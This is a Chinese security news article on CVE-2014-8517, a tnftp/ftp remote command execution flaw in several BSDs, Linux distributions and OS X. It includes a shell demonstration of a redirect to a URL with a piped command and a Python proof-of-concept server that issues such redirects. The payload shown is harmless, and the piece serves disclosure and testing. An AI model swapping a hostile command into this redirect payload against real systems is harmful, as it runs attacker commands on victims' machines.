FTP曝严重远程执行漏洞 影响多个版本Unix

10月28日，一份公开的邮件中曝出FTP远程执行命令漏洞，漏洞影响到的Unix系统包括：Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影响到了苹果的OS X操作系统的***版本Yosemite 10.10。

NetBSD的一位开发人员(Jared McNeill)证实了这个漏洞可以通过tnftp从WEB服务器远程执行恶意命令，并且此漏洞已被编号为CVE-2014-8517 ：

a20$ pwd
 /var/www/cgi-bin
 a20$ ls -l
 total 4
 -rwxr-xr-x 1 root wheel 159 Oct 14 02:02 redirect
 -rwxr-xr-x 1 root wheel 178 Oct 14 01:54 |uname -a
 a20$ cat redirect
 #!/bin/sh
 echo 'Status: 302 Found'
 echo 'Content-Type: text/html'
 echo 'Connection: keep-alive'
 echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'
 echo
 a20$
 a20$ ftp http://localhost/cgi-bin/redirect
 Trying ::1:80 ...
 ftp: Can't connect to `::1:80': Connection refused
 Trying 127.0.0.1:80 ...
 Requesting http://localhost/cgi-bin/redirect
 Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
 Requesting http://192.168.2.19/cgi-bin/|uname%20-a
 32 101.46 KiB/s
 32 bytes retrieved in 00:00 (78.51 KiB/s)
 NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
 ADT 2014
 Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
 BOARD evbarm
 a20$

漏洞影响范围及公告

Debian, Red Hat, Gentoo, Novell (SuSE Linux), DragonFly, FreeBSD, OpenBSD, and Apple等系统开发商已经意识到了此漏洞的危害，其中Debian, Red Hat, Gnetoo and Novell已经发出了漏洞公告：

漏洞检测脚本(请勿用于非法用途)

And you should see the command executed.
All wrongs reversed - @stevelord
"""
import BaseHTTPServer
import sys
import socket
import urllib
hostname = socket.getfqdn() # Set this to your IP if you have no FQDN
port = 8000 # Set this to the port you want to run this on
cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying."
cmd = urllib.quote(cmd)
redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(s):
if cmd in s.path:
s.send_response(200)
s.end_headers()
else:
s.send_response(302)
s.send_header("Location", redir)
s.end_headers()
if __name__ == "__main__":
print "redirecting to,", redir
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((hostname, port), RedirectHandler)
try:
httpd.serve_forever()
print "Started serving."
except KeyboardInterrupt:
pass
httpd.server_close()
print "\nStopped serving."

解决方案和更详细的内容参见：

http://seclists.org/oss-sec/2014/q4/459 http://seclists.org/oss-sec/2014/q4/464

http://seclists.org/oss-sec/2014/q4/460

参考信息